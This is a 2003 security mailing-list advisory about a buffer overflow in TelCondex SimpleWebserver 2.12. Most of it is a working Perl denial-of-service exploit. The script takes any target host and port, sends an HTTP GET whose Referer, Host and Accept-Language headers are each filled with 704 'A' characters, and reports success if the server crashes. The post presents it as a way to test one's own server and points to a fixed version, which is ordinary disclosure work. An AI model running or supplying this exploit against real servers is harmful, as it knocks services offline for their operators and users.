[EXPL] TelCondex SimpleWebserver Buffer Overflow (Exploit)

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To: list@securiteam.com
Date: 6 Nov 2003 11:18:51 +0200

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  TelCondex SimpleWebserver Buffer Overflow (Exploit)
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article
<http://www.securiteam.com/windowsntfocus/6W00W008KU.html> TelCondex
SimpleWebserver Buffer Overflow, a vulnerability in the web server allows
remote attackers to overflow an internal buffer. The following exploit
code can be used to test your server for the mentioned vulnerability.

DETAILS

Exploit:
#!/usr/local/bin/perl
# TelCondex WebServer: Buffer overflow
# ------------------------------------
#
# Vendor: TelCondex SimpleWebserver(tc.SimpleWebServer)
# Version: 2.12.30210 Build 3285
# Discoverer: Oliver Karow<oliver.karow@gmx.de>
# Exploit: DoS(Denial Of Service) By Blade<blade@abez.org>
# Solution: Download Fixed
Version<http://www.telcondex.de/pub/sws_default.htm>
# <FiH eZine 2003 - http://www.fihezine.tsx.to>
####################################################################
        use IO::Socket;

 print '
 TelCondex Webserver DoS Exploit -
 Programmer: Blade<blade@abez.org> - Discoverer:
Oliver.K.<oliver.karow@gmx.de>
          FiH eZiNe 2002<>2003 - http://www.fihezine.tsx.to\n
                    Usage: TelCondex.pl <HostVulnerable> [Port] ';

        $server = $ARGV[0];
        if ($ARGV[1] == 0){ $port=80; } else { $port=$ARGV[1]; }

        print" Connecting...";
        $Sock=IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>$server,PeerPort=>$port, Timeout=>5);
        if ($Sock){
        print" Conected...";
        $Sock->autoflush(1);

        print $Sock "GET / HTTP/1.1\r\n".
                     "Accept: */* \r\n".
                     "Referer: ". ("A" x 704) ."\r\n".
                     "Host: ". ("A" x 704) ."\r\n".
                     "Accept-Language: ". ("A" x 704) ."\r\n\r\n";
        @Respost=<$Sock>;
        close($Sock);
        if (@Respost == 0){die " D.o.S Completed!\n";} else { print "
D.o.S
Not Completed"; }
        }else{ print"Impossible to connect from $server"; }

ADDITIONAL INFORMATION

The information has been provided by
<mailto:blade@bladeinternetsecure.com> Blade.

========================================

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